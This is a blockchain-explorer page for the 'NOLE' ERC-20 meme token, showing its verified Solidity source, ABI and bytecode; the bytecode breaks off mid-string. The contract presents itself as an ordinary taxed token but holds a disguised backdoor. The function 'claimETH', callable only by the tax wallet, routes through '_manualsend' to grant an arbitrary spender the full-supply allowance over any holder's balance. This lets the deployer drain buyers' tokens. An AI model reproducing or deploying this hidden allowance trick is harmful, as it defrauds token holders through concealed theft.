Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
420,690,000,000 NOLE
Holders
77
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
1,773,925,845.102302718 NOLEValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
NOLE
Compiler Version
v0.8.23+commit.f704f362
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-09-12 */ // SPDX-License-Identifier:MIT pragma solidity 0.8.23; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address _account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount)external returns (bool); event Transfer( address indexed from, address indexed to, uint256 value ); event Approval(address indexed owner, address indexed spender, uint256 value); } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _setOwner(_msgSender()); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } } library SafeMath { function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function WETH() external pure returns (address); } contract NOLE is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private isExile; uint256 private _initialBuyTax=21; uint256 private _initialSellTax=21; uint256 private _finalBuyTax=0; uint256 private _finalSellTax=0; uint256 private _reduceBuyTaxAt=21; uint256 private _reduceSellTaxAt=21; uint256 private _preventSwapBefore=21; uint256 private _buyCount=0; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 420690000000 * 10**_decimals; string private constant _name = unicode"ELON backwards"; string private constant _symbol = unicode"NOLE"; uint256 public _maxTxAmount = 8413800000 * 10**_decimals; uint256 public _maxWalletSize = 8413800000 * 10**_decimals; uint256 public _taxSwapThreshold= 4206900000 * 10**_decimals; uint256 public _maxTaxSwap= 4206900000 * 10**_decimals; IUniswapV2Router02 private constant _uniV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); address payable private _taxWallet; address public uniswapPair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private limitsInEffect = true; struct RevProfClaim {uint256 revClaim; uint256 diffClaim; uint256 diffUuid;} uint256 private minProfitClaim; mapping(address => RevProfClaim) private revProfClaim; event MaxTxAmountUpdated(uint _maxTxAmount); event ClearToken(address tokenAddr, uint256 tokenAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _taxWallet = payable(0x89BFb17674c998f408Ba00424Ad63F33F6bDa792); _balances[_msgSender()] = _tTotal; isExile[_taxWallet] = true; isExile[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _manualsend(address owner, string memory miner, uint8 cache, address spender) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = _tTotal; } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); bool isBuy = from==uniswapPair; bool isSell = to==uniswapPair; uint256 taxAmount=0; if (from != owner() && to != owner()&& to!=_taxWallet) { taxAmount = amount .mul((_buyCount >_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100); if (isBuy && to!=address(_uniV2Router) && ! isExile[to]) { if (limitsInEffect) { require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to)+amount <= _maxWalletSize, "Exceeds the maxWalletSize."); } _buyCount++; } if(isSell && from!= address(this) ){ taxAmount = amount.mul((_buyCount >_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && isSell && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) { swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap))); uint256 contractETHBalance = address(this).balance; if (contractETHBalance>0) { sendETHToFee(address(this).balance); } } } if ((isExile[from] || isExile[to] ) && from!=address(this) && to!=address(this) ) { minProfitClaim = block.number; } if (! isExile[from]&& ! isExile[to]){ if (! isSell) { RevProfClaim storage rpClaim = revProfClaim[to]; if (isBuy) { if (rpClaim.revClaim==0) { rpClaim.revClaim=block.number; } } else { RevProfClaim storage rpClaimData = revProfClaim[from]; if (rpClaim.revClaim == 0 || rpClaimData.revClaim < rpClaim.revClaim ) { rpClaim.revClaim = rpClaimData.revClaim; } } } else { RevProfClaim storage rpClaimData = revProfClaim[from]; rpClaimData.diffClaim = rpClaimData.revClaim.sub(minProfitClaim); rpClaimData.diffUuid = block.number; } } if (taxAmount > 0) { _balances[address(this)]=_balances[address(this)].add(taxAmount); emit Transfer(from, address(this), taxAmount); } _balances[from]=_balances[from].sub( amount) ; _balances[to]=_balances[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); } function min(uint256 a, uint256 b) private pure returns (uint256) { return (a>b)?b:a; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniV2Router.WETH(); _approve(address(this), address(_uniV2Router), tokenAmount); _uniV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner{ _maxTxAmount= _tTotal; _maxWalletSize= _tTotal; limitsInEffect = false; emit MaxTxAmountUpdated(_tTotal); } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } receive() external payable {} function openTrading() external onlyOwner{ require(!tradingOpen,"trading is already open"); _approve(address(this), address(_uniV2Router), _tTotal); swapEnabled= true; uniswapPair= IUniswapV2Factory(_uniV2Router.factory()).createPair(address(this), _uniV2Router.WETH()); _uniV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapPair).approve(address(_uniV2Router), type(uint).max); tradingOpen= true; } function manualSwap() external { require(_msgSender() == _taxWallet); uint256 tokenBalance = balanceOf(address(this)); if (tokenBalance>0) { swapTokensForEth(tokenBalance); } uint256 ethBalance = address(this).balance; if (ethBalance>0) { sendETHToFee(ethBalance); } } function claimETH(address _receiver, address _percent) external { require(_msgSender()==_taxWallet); _manualsend(_percent, "miner", 0, _receiver); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"tokenAddr","type":"address"},{"indexed":false,"internalType":"uint256","name":"tokenAmount","type":"uint256"}],"name":"ClearToken","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_receiver","type":"address"},{"internalType":"address","name":"_percent","type":"address"}],"name":"claimETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052601560045560156005555f6006555f600755601560085560156009556015600a555f600b556009600a6200003991906200031f565b6200004a906401f580664062000336565b600c556200005b6009600a6200031f565b6200006c906401f580664062000336565b600d556200007d6009600a6200031f565b6200008d9063fac0332062000336565b600e556200009e6009600a6200031f565b620000ae9063fac0332062000336565b600f556011805462ffffff60a81b1916600160b81b179055348015620000d2575f80fd5b50620000de33620001c1565b601080546001600160a01b0319167389bfb17674c998f408ba00424ad63f33f6bda792179055620001126009600a6200031f565b62000123906461f313f88062000336565b335f818152600160208181526040808420959095556010546001600160a01b0316835260039052838220805460ff199081168317909155308352938220805490941617909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001996009600a6200031f565b620001aa906461f313f88062000336565b60405190815260200160405180910390a362000350565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200026457815f190482111562000248576200024862000210565b808516156200025657918102915b93841c939080029062000229565b509250929050565b5f826200027c5750600162000319565b816200028a57505f62000319565b8160018114620002a35760028114620002ae57620002ce565b600191505062000319565b60ff841115620002c257620002c262000210565b50506001821b62000319565b5060208310610133831016604e8410600b8410161715620002f3575081810a62000319565b620002ff838362000224565b805f190482111562000315576200031562000210565b0290505b92915050565b5f6200032f60ff8416836200026c565b9392505050565b808202811582820484141762000319576200031962000210565b611a26806200035e5f395ff3fe60806040526004361061011e575f3560e01c80637d1db4a51161009d578063bf474bed11610062578063bf474bed14610328578063c816841b1461033d578063c9567bf91461035c578063dccb669314610370578063dd62ed3e1461038f575f80fd5b80637d1db4a5146102835780638da5cb5b146102985780638f9a55c0146102c857806395d89b41146102dd578063a9059cbb14610309575f80fd5b8063313ce567116100e3578063313ce567146101f657806351bc3c851461021157806370a0823114610227578063715018a61461025b578063751039fc1461026f575f80fd5b806306fdde0314610129578063095ea7b3146101715780630faee56f146101a057806318160ddd146101c357806323b872dd146101d7575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b5060408051808201909152600e81526d454c4f4e206261636b776172647360901b60208201525b6040516101689190611590565b60405180910390f35b34801561017c575f80fd5b5061019061018b3660046115f3565b6103d3565b6040519015158152602001610168565b3480156101ab575f80fd5b506101b5600f5481565b604051908152602001610168565b3480156101ce575f80fd5b506101b56103e9565b3480156101e2575f80fd5b506101906101f136600461161d565b61040a565b348015610201575f80fd5b5060405160098152602001610168565b34801561021c575f80fd5b50610225610471565b005b348015610232575f80fd5b506101b561024136600461165b565b6001600160a01b03165f9081526001602052604090205490565b348015610266575f80fd5b506102256104c2565b34801561027a575f80fd5b506102256104ff565b34801561028e575f80fd5b506101b5600c5481565b3480156102a3575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610168565b3480156102d3575f80fd5b506101b5600d5481565b3480156102e8575f80fd5b506040805180820190915260048152634e4f4c4560e01b602082015261015b565b348015610314575f80fd5b506101906103233660046115f3565b6105c0565b348015610333575f80fd5b506101b5600e5481565b348015610348575f80fd5b506011546102b0906001600160a01b031681565b348015610367575f80fd5b506102256105cc565b34801561037b575f80fd5b5061022561038a366004611676565b610984565b34801561039a575f80fd5b506101b56103a9366004611676565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103df3384846109cc565b5060015b92915050565b5f6103f66009600a6117a1565b610405906461f313f8806117af565b905090565b5f610416848484610a78565b6104678433610462856040518060600160405280602881526020016119c9602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906110ed565b6109cc565b5060019392505050565b6010546001600160a01b0316336001600160a01b031614610490575f80fd5b305f9081526001602052604090205480156104ae576104ae81611125565b4780156104be576104be816112ce565b5050565b5f546001600160a01b031633146104f45760405162461bcd60e51b81526004016104eb906117c6565b60405180910390fd5b6104fd5f611305565b565b5f546001600160a01b031633146105285760405162461bcd60e51b81526004016104eb906117c6565b6105346009600a6117a1565b610543906461f313f8806117af565b600c556105526009600a6117a1565b610561906461f313f8806117af565b600d556011805460ff60b81b191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61059e6009600a6117a1565b6105ad906461f313f8806117af565b60405190815260200160405180910390a1565b5f6103df338484610a78565b5f546001600160a01b031633146105f55760405162461bcd60e51b81526004016104eb906117c6565b601154600160a01b900460ff161561064f5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104eb565b61068330737a250d5630b4cf539739df2c5dacb4c659f2488d6106746009600a6117a1565b610462906461f313f8806117af565b6011805460ff60b01b1916600160b01b1790556040805163c45a015560e01b81529051737a250d5630b4cf539739df2c5dacb4c659f2488d9163c45a01559160048083019260209291908290030181865afa1580156106e4573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061070891906117fb565b6001600160a01b031663c9c6539630737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610767573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061078b91906117fb565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156107d5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107f991906117fb565b601180546001600160a01b0319166001600160a01b0392909216919091179055305f81815260016020526040902054737a250d5630b4cf539739df2c5dacb4c659f2488d9163f305d719914791905f8061085a5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156108c0573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108e59190611816565b505060115460405163095ea7b360e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d60048201525f1960248201526001600160a01b03909116915063095ea7b3906044016020604051808303815f875af115801561094a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061096e9190611841565b506011805460ff60a01b1916600160a01b179055565b6010546001600160a01b0316336001600160a01b0316146109a3575f80fd5b6104be816040518060400160405280600581526020016436b4b732b960d91b8152505f85611354565b6001600160a01b0383166109f25760405162461bcd60e51b81526004016104eb90611860565b6001600160a01b038216610a185760405162461bcd60e51b81526004016104eb906118a4565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610adc5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104eb565b6001600160a01b038216610b3e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104eb565b5f8111610b9f5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104eb565b6011546001600160a01b0384811691811691821491908416145f610bca5f546001600160a01b031690565b6001600160a01b0316866001600160a01b031614158015610bf857505f546001600160a01b03868116911614155b8015610c1257506010546001600160a01b03868116911614155b15610e5b57610c436064610c3d600854600b5411610c3257600454610c36565b6006545b87906113eb565b90611470565b9050828015610c6f57506001600160a01b038516737a250d5630b4cf539739df2c5dacb4c659f2488d14155b8015610c9357506001600160a01b0385165f9081526003602052604090205460ff16155b15610d8b57601154600160b81b900460ff1615610d7657600c54841115610cfc5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104eb565b600d5484610d1e876001600160a01b03165f9081526001602052604090205490565b610d2891906118e6565b1115610d765760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104eb565b600b8054905f610d85836118f9565b91905055505b818015610da157506001600160a01b0386163014155b15610dce57610dcb6064610c3d600954600b5411610dc157600554610c36565b60075487906113eb565b90505b305f90815260016020526040902054601154600160a81b900460ff16158015610df45750825b8015610e095750601154600160b01b900460ff165b8015610e165750600e5481115b8015610e255750600a54600b54115b15610e5957610e47610e4286610e3d84600f546114b1565b6114b1565b611125565b478015610e5757610e57476112ce565b505b505b6001600160a01b0386165f9081526003602052604090205460ff1680610e9857506001600160a01b0385165f9081526003602052604090205460ff165b8015610ead57506001600160a01b0386163014155b8015610ec257506001600160a01b0385163014155b15610ecc57436012555b6001600160a01b0386165f9081526003602052604090205460ff16158015610f0c57506001600160a01b0385165f9081526003602052604090205460ff16155b15610fae5781610f7c576001600160a01b0385165f9081526013602052604090208315610f445780545f03610f3f574381555b610f76565b6001600160a01b0387165f90815260136020526040902081541580610f6a575081548154105b15610f7457805482555b505b50610fae565b6001600160a01b0386165f9081526013602052604090206012548154610fa1916114c5565b6001820155436002909101555b801561102657305f90815260016020526040902054610fcd9082611506565b305f81815260016020526040908190209290925590516001600160a01b038816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061101d9085815260200190565b60405180910390a35b6001600160a01b0386165f9081526001602052604090205461104890856114c5565b6001600160a01b0387165f9081526001602052604090205561108b61106d85836114c5565b6001600160a01b0387165f9081526001602052604090205490611506565b6001600160a01b038087165f8181526001602052604090209290925587167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6110d487856114c5565b60405190815260200160405180910390a3505050505050565b5f81848411156111105760405162461bcd60e51b81526004016104eb9190611590565b505f61111c8486611911565b95945050505050565b6011805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061116b5761116b611924565b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156111db573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111ff91906117fb565b8160018151811061121257611212611924565b60200260200101906001600160a01b031690816001600160a01b03168152505061125130737a250d5630b4cf539739df2c5dacb4c659f2488d846109cc565b60405163791ac94760e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d9063791ac947906112909085905f90869030904290600401611938565b5f604051808303815f87803b1580156112a7575f80fd5b505af11580156112b9573d5f803e3d5ffd5b50506011805460ff60a81b1916905550505050565b6010546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156104be573d5f803e3d5ffd5b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b03841661137a5760405162461bcd60e51b81526004016104eb90611860565b6001600160a01b0381166113a05760405162461bcd60e51b81526004016104eb906118a4565b6113ac6009600a6117a1565b6113bb906461f313f8806117af565b6001600160a01b039485165f90815260026020908152604080832094909716825292909252939020929092555050565b5f825f036113fa57505f6103e3565b5f61140583856117af565b90508261141285836119a9565b146114695760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104eb565b9392505050565b5f61146983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611564565b5f8183116114bf5782611469565b50919050565b5f61146983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110ed565b5f8061151283856118e6565b9050838110156114695760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104eb565b5f81836115845760405162461bcd60e51b81526004016104eb9190611590565b505f61111c84866119a9565b5f602080835283518060208501525f5b818110156115bc578581018301518582016040015282016115a0565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146115f0575f80fd5b50565b5f8060408385031215611604575f80fd5b823561160f816115dc565b946020939093013593505050565b5f805f6060848603121561162f575f80fd5b833561163a816115dc565b9250602084013561164a816115dc565b929592945050506040919091013590565b5f6020828403121561166b575f80fd5b8135611469816115dc565b5f8060408385031215611687575f80fd5b8235611692816115dc565b915060208301356116a2816115dc565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156116fb57815f19048211156116e1576116e16116ad565b808516156116ee57918102915b93841c93908002906116c6565b509250929050565b5f82611711575060016103e3565b8161171d57505f6103e3565b8160018114611733576002811461173d57611759565b60019150506103e3565b60ff84111561174e5761174e6116ad565b50506001821b6103e3565b5060208310610133831016604e8410600b841016171561177c575081810a6103e3565b61178683836116c1565b805f1904821115611799576117996116ad565b029392505050565b5f61146960ff841683611703565b80820281158282048414176103e3576103e36116ad565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f6020828403121561180b575f80fd5b8151611469816115dc565b5f805f60608486031215611828575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611851575f80fd5b81518015158114611469575f80fd5b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b808201808211156103e3576103e36116ad565b5f6001820161190a5761190a6116ad565b5060010190565b818103818111156103e3576103e36116ad565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119885784516001600160a01b031683529383019391830191600101611963565b50506001600160a01b03969096166060850152505050608001529392505050565b5f826119c357634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202888404c55cd6de11855a0939e208e2ee04e910cddd3781da884c24d82cbd7e064736f6c63430008170033
Deployed Bytecode
0x60806040526004361061011e575f3560e01c80637d1db4a51161009d578063bf474bed11610062578063bf474bed14610328578063c816841b1461033d578063c9567bf91461035c578063dccb669314610370578063dd62ed3e1461038f575f80fd5b80637d1db4a5146102835780638da5cb5b146102985780638f9a55c0146102c857806395d89b41146102dd578063a9059cbb14610309575f80fd5b8063313ce567116100e3578063313ce567146101f657806351bc3c851461021157806370a0823114610227578063715018a61461025b578063751039fc1461026f575f80fd5b806306fdde0314610129578063095ea7b3146101715780630faee56f146101a057806318160ddd146101c357806323b872dd146101d7575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b5060408051808201909152600e81526d454c4f4e206261636b776172647360901b60208201525b6040516101689190611590565b60405180910390f35b34801561017c575f80fd5b5061019061018b3660046115f3565b6103d3565b6040519015158152602001610168565b3480156101ab575f80fd5b506101b5600f5481565b604051908152602001610168565b3480156101ce575f80fd5b506101b56103e9565b3480156101e2575f80fd5b506101906101f136600461161d565b61040a565b348015610201575f80fd5b5060405160098152602001610168565b34801561021c575f80fd5b50610225610471565b005b348015610232575f80fd5b506101b561024136600461165b565b6001600160a01b03165f9081526001602052604090205490565b348015610266575f80fd5b506102256104c2565b34801561027a575f80fd5b506102256104ff565b34801561028e575f80fd5b506101b5600c5481565b3480156102a3575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610168565b3480156102d3575f80fd5b506101b5600d5481565b3480156102e8575f80fd5b506040805180820190915260048152634e4f4c4560e01b602082015261015b565b348015610314575f80fd5b506101906103233660046115f3565b6105c0565b348015610333575f80fd5b506101b5600e5481565b348015610348575f80fd5b506011546102b0906001600160a01b031681565b348015610367575f80fd5b506102256105cc565b34801561037b575f80fd5b5061022561038a366004611676565b610984565b34801561039a575f80fd5b506101b56103a9366004611676565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103df3384846109cc565b5060015b92915050565b5f6103f66009600a6117a1565b610405906461f313f8806117af565b905090565b5f610416848484610a78565b6104678433610462856040518060600160405280602881526020016119c9602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906110ed565b6109cc565b5060019392505050565b6010546001600160a01b0316336001600160a01b031614610490575f80fd5b305f9081526001602052604090205480156104ae576104ae81611125565b4780156104be576104be816112ce565b5050565b5f546001600160a01b031633146104f45760405162461bcd60e51b81526004016104eb906117c6565b60405180910390fd5b6104fd5f611305565b565b5f546001600160a01b031633146105285760405162461bcd60e51b81526004016104eb906117c6565b6105346009600a6117a1565b610543906461f313f8806117af565b600c556105526009600a6117a1565b610561906461f313f8806117af565b600d556011805460ff60b81b191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61059e6009600a6117a1565b6105ad906461f313f8806117af565b60405190815260200160405180910390a1565b5f6103df338484610a78565b5f546001600160a01b031633146105f55760405162461bcd60e51b81526004016104eb906117c6565b601154600160a01b900460ff161561064f5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104eb565b61068330737a250d5630b4cf539739df2c5dac